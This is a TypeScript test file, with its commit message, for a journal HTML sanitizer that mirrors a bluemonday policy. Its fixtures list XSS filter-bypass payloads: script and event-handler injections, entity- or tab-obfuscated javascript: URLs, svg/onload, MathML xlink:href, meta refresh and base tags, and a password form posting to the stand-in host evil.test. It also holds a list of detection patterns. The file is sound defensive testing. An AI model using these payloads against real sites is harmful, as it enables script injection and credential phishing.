Files
vue-journal-layer/tests/htmlGate.test.ts
Jakub Zych 5beb1c5634 fix: sanitize journal HTML instead of blanking it on a regex match
The three-regex gate could be bypassed (an attribute without a space,
<svg/onload>, entity-encoded or tab-split javascript: URLs, MathML
xlink:href, base, meta refresh, forms) and it blanked a whole post or
category when ordinary text such as "Data: 12 maja 2024" matched.

- sanitizeJournalHtml runs sanitize-html with the Journal plugin's
  bluemonday policy: UGC elements plus footer, class, schema.org
  microdata, four validated inline styles, footnote roles, dir=auto,
  two chat transcript data attributes; http, https, mailto and
  relative URLs only
- gateJournalHtml and isSafeJournalHtml keep their signatures; html is
  always the sanitized value and is never blanked
- post body, category content and both page payloads are sanitized;
  the blocked notice, its style and string, and the blocked props and
  content_blocked field are removed
- toPostView moves to postView.ts so list pages and cards do not load
  the sanitizer
- tests cover every bypass from the review, the Data:/metadata: text
  and an imported author footer; the SSR smoke expects the unsafe
  sample's safe paragraphs
2026-10-10 00:01:01 +02:00

213 lines
10 KiB
TypeScript

// The Journal HTML sanitizer mirrors the Journal plugin's bluemonday policy
// (classes/format_html.go). The unsafe cases are the six of
// TestFormatHTMLRejectsUnsafeHTML plus every bypass from the Phase 16.1 code
// review (CR-01), as rendered HTML. Each one must come out without the
// dangerous part while the safe text around it stays.
import { test } from 'node:test'
import assert from 'node:assert/strict'
import { gateJournalHtml, isSafeJournalHtml, sanitizeJournalHtml } from '../app/utils/htmlGate.ts'
// Signs that something executable or navigating survived.
const DANGER = [
/<script/i,
/<svg/i,
/<math/i,
/<iframe/i,
/<object/i,
/<embed/i,
/<base/i,
/<meta/i,
/<form/i,
/<input/i,
/<style/i,
/\son[a-z]+\s*=/i,
/javascript/i,
/vbscript/i,
/href="data:/i,
/src="data:/i,
/xlink:href/i,
/evil\.test/i,
]
function assertNeutralized(html: string, label: string): string {
const out = sanitizeJournalHtml(html)
for (const re of DANGER) assert.doesNotMatch(out, re, `${label}: ${out}`)
assert.equal(isSafeJournalHtml(html), false, `${label} reported safe`)
assert.deepEqual(gateJournalHtml(html), { safe: false, html: out }, label)
return out
}
const GO_CASES: Array<[string, string]> = [
['script', '<p>keep</p><script>alert(1)</script>'],
['iframe', '<p>keep</p><iframe src="https://evil.test"></iframe>'],
['event', '<p>keep<img src=x onerror="alert(1)"></p>'],
['javascript', '<a href="javascript:alert(1)">keep</a>'],
['vbscript', '<a href="vbscript:msgbox(1)">keep</a>'],
['data', '<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">keep</a>'],
]
// CR-01: payloads the three-regex gate let through, and their neighbours.
const REVIEW_BYPASSES: Array<[string, string]> = [
['attribute without a space', '<p>keep<img src="x"onerror="alert(1)"></p>'],
['svg with slash separator', '<div>\n<svg/onload=alert(1)>\n</div><p>keep</p>'],
['numeric entity colon', '<a href="javascript&#58;alert(1)">keep</a>'],
['named entity colon', '<a href="javascript&colon;alert(1)">keep</a>'],
['entity in the scheme', '<a href="&#106;avascript:alert(1)">keep</a>'],
['tab in the scheme', '<a href="java\tscript:alert(1)">keep</a>'],
['newline in the scheme', '<a href="java\nscript:alert(1)">keep</a>'],
['leading control characters', '<a href="\u0001 javascript:alert(1)">keep</a>'],
['upper case scheme', '<a href="JAVASCRIPT:alert(1)">keep</a>'],
['MathML xlink:href', '<div>\n<math><maction actiontype=statusline xlink:href="javascript&#58;alert(1)">keep</maction></math>\n</div>'],
['base', '<base href="https://evil.test/"><p>keep</p>'],
['meta refresh', '<meta http-equiv="refresh" content="0;url=https://evil.test"><p>keep</p>'],
['form phish', '<form action="https://evil.test"><input type=password name=p></form><p>keep</p>'],
['embed', '<embed src="https://evil.test/x.swf"><p>keep</p>'],
['object', '<object data="https://evil.test/x"></object><p>keep</p>'],
['data image src', '<p>keep<img src="data:image/svg+xml;base64,PHN2Zz48L3N2Zz4="></p>'],
['style element', '<style>body{background:url(https://evil.test/x)}</style><p>keep</p>'],
['css url in style attribute', '<p style="background:url(https://evil.test/x)">keep</p>'],
['css expression in colour', '<p style="color: expression(alert(1))">keep</p>'],
['noscript title breakout', '<noscript><p title="</noscript><img src=x onerror=alert(1)>"></p></noscript><p>keep</p>'],
['handler in upper case', '<P ONMOUSEOVER="alert(1)">keep</P>'],
]
for (const [name, html] of [...GO_CASES, ...REVIEW_BYPASSES]) {
test(`${name} is neutralized and the rest is kept`, () => {
const out = assertNeutralized(html, name)
assert.match(out, /keep/, `${name} lost the safe text: ${out}`)
})
}
test('the Go cases in upper case are neutralized', () => {
for (const [name, html] of GO_CASES) assertNeutralized(html.toUpperCase(), `${name} upper`)
})
test('comments are dropped; a comment is not content, so the input still counts as safe', () => {
const html = '<!--<img src=x onerror=alert(1)>--><p>keep</p>'
assert.equal(sanitizeJournalHtml(html), '<p>keep</p>')
assert.deepEqual(gateJournalHtml(html), { safe: true, html: '<p>keep</p>' })
})
test('unsafe parts are removed, not the whole value', () => {
assert.equal(sanitizeJournalHtml('<p>Before</p><script>alert(1)</script><p>After</p>'), '<p>Before</p><p>After</p>')
assert.equal(sanitizeJournalHtml('<p><img src="x"onerror="alert(1)"> tekst</p>'), '<p><img src="x" /> tekst</p>')
assert.equal(sanitizeJournalHtml('<a href="javascript&#58;alert(1)">link</a>'), '<a>link</a>')
})
test('text that names a scheme is ordinary text (WR-01)', () => {
const texts = [
'<p>Data: 12 maja 2024</p>',
'<p>Data publikacji: 3 czerwca 2025</p>',
'<p>The metadata: title, author and date.</p>',
'<p>Big data: what it means. JavaScript: a language. vbscript: legacy.</p>',
]
for (const html of texts) {
assert.equal(sanitizeJournalHtml(html), html)
assert.equal(isSafeJournalHtml(html), true, html)
assert.deepEqual(gateJournalHtml(html), { safe: true, html })
}
})
// The author footer of an imported post (post 64), without its <style> block.
const AUTHOR_FOOTER = `<footer class="author-footer" itemscope itemtype="https://schema.org/Person">
<div class="author-info">
<img src="https://blog.acme.test/storage/app/media/Jane%20Doe.png" alt="Zdjęcie autora Jane Doe" class="author-photo" itemprop="image">
<div class="author-details">
<div style="font-size: 1.5em; font-weight: bold;" itemprop="name">Jane Doe</div>
<span style="color: #138c74;" itemprop="jobTitle">Ekspert Mykologii</span>
<p itemprop="description">Jestem entuzjastką grzybów, szczególnie tych funkcjonalnych.</p>
</div>
</div>
</footer>`
test('an imported author footer keeps classes, microdata and inline styles', () => {
const out = sanitizeJournalHtml(AUTHOR_FOOTER)
assert.equal(isSafeJournalHtml(AUTHOR_FOOTER), true)
for (const part of [
'<footer class="author-footer" itemscope="" itemtype="https://schema.org/Person">',
'<div class="author-info">',
'<img src="https://blog.acme.test/storage/app/media/Jane%20Doe.png" alt="Zdjęcie autora Jane Doe" class="author-photo" itemprop="image" />',
'<div style="font-size:1.5em;font-weight:bold" itemprop="name">Jane Doe</div>',
'<span style="color:#138c74" itemprop="jobTitle">Ekspert Mykologii</span>',
'<p itemprop="description">',
]) {
assert.ok(out.includes(part), `missing ${part} in ${out}`)
}
})
test('the footer with its <style> block loses only the style block', () => {
const html = `${AUTHOR_FOOTER}\n<style>\n .author-footer { padding: 20px; }\n</style>\n<hr>`
const out = sanitizeJournalHtml(html)
assert.equal(isSafeJournalHtml(html), false)
assert.doesNotMatch(out, /<style|padding/)
assert.equal(out, `${sanitizeJournalHtml(AUTHOR_FOOTER)}\n\n<hr />`)
})
test('inline styles keep only the four allowed properties with valid values', () => {
assert.equal(
sanitizeJournalHtml('<p style="color: red; font-size: 12px; font-weight: 700; text-align: center; position: fixed">x</p>'),
'<p style="color:red;font-size:12px;font-weight:700;text-align:center">x</p>',
)
assert.equal(sanitizeJournalHtml('<p style="color: rgb(1, 2, 3)">x</p>'), '<p style="color:rgb(1, 2, 3)">x</p>')
assert.equal(sanitizeJournalHtml('<p style="font-size: calc(1px + 1em)">x</p>'), '<p>x</p>')
assert.equal(sanitizeJournalHtml('<p style="position: fixed">x</p>'), '<p>x</p>')
})
test('goldmark markup passes whole: headings, tables, footnotes, links and images', () => {
const safe = [
'<h1>Hello</h1>',
'<table><thead><tr><th>a</th><th style="text-align:right">b</th></tr></thead><tbody><tr><td>1</td><td>2</td></tr></tbody></table>',
'<p>See footnote.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>',
'<div class="footnotes" role="doc-endnotes"><hr /><ol><li id="fn:1"><p>Note. <a href="#fnref:1" class="footnote-backref" role="doc-backlink">↩︎</a></p></li></ol></div>',
'<p><a href="https://blog.acme.test/blog">Artykuły</a> <img src="/storage/app/media/las.webp" alt="las" /></p>',
'<p><a href="mailto:hello@acme.test">mail</a> <a href="//cdn.acme.test/x">cdn</a> <a href="?page=2">page</a></p>',
'<blockquote cite="https://acme.test/source"><p>Quote</p></blockquote>',
'<p class="content">one of the onions</p>',
]
for (const html of safe) {
assert.equal(sanitizeJournalHtml(html), html)
assert.deepEqual(gateJournalHtml(html), { safe: true, html })
}
})
test('pasted chat transcripts keep dir="auto" and the two data attributes only', () => {
const html = '<div dir="auto" data-message-author-role="user" data-message-id="abc-123">Hi</div>'
assert.equal(sanitizeJournalHtml(html), html)
assert.equal(
sanitizeJournalHtml('<div data-message-author-role="a b" data-other="x" dir="sideways">Hi</div>'),
'<div>Hi</div>',
)
})
test('attribute values must match their patterns', () => {
assert.equal(sanitizeJournalHtml('<p itemtype="https://evil.test/Person">x</p>'), '<p>x</p>')
assert.equal(sanitizeJournalHtml('<p class="a&quot;b">x</p>'), '<p>x</p>')
assert.equal(sanitizeJournalHtml('<a role="button" href="/x">x</a>'), '<a href="/x">x</a>')
assert.equal(sanitizeJournalHtml('<td colspan="2;">x</td>'), '<td>x</td>')
assert.equal(sanitizeJournalHtml('<a href="http://[bad">x</a>'), '<a>x</a>')
assert.equal(sanitizeJournalHtml('<a target="_blank" rel="opener" href="/x">x</a>'), '<a href="/x">x</a>')
})
test('attribute and tag names from Object.prototype find no rule', () => {
assert.equal(
sanitizeJournalHtml('<a constructor="x" tostring="y" __proto__="z" href="/a">x</a><constructor>t</constructor>'),
'<a href="/a">x</a>t',
)
})
test('sanitizing is idempotent, so server and client agree on a sanitized body', () => {
const inputs = [AUTHOR_FOOTER, ...REVIEW_BYPASSES.map(([, html]) => html), ...GO_CASES.map(([, html]) => html)]
for (const html of inputs) {
const once = sanitizeJournalHtml(html)
assert.equal(sanitizeJournalHtml(once), once, html)
}
})
test('empty input is safe and empty', () => {
for (const html of [null, undefined, '']) {
assert.equal(sanitizeJournalHtml(html), '')
assert.equal(isSafeJournalHtml(html), true)
assert.deepEqual(gateJournalHtml(html), { safe: true, html: '' })
}
})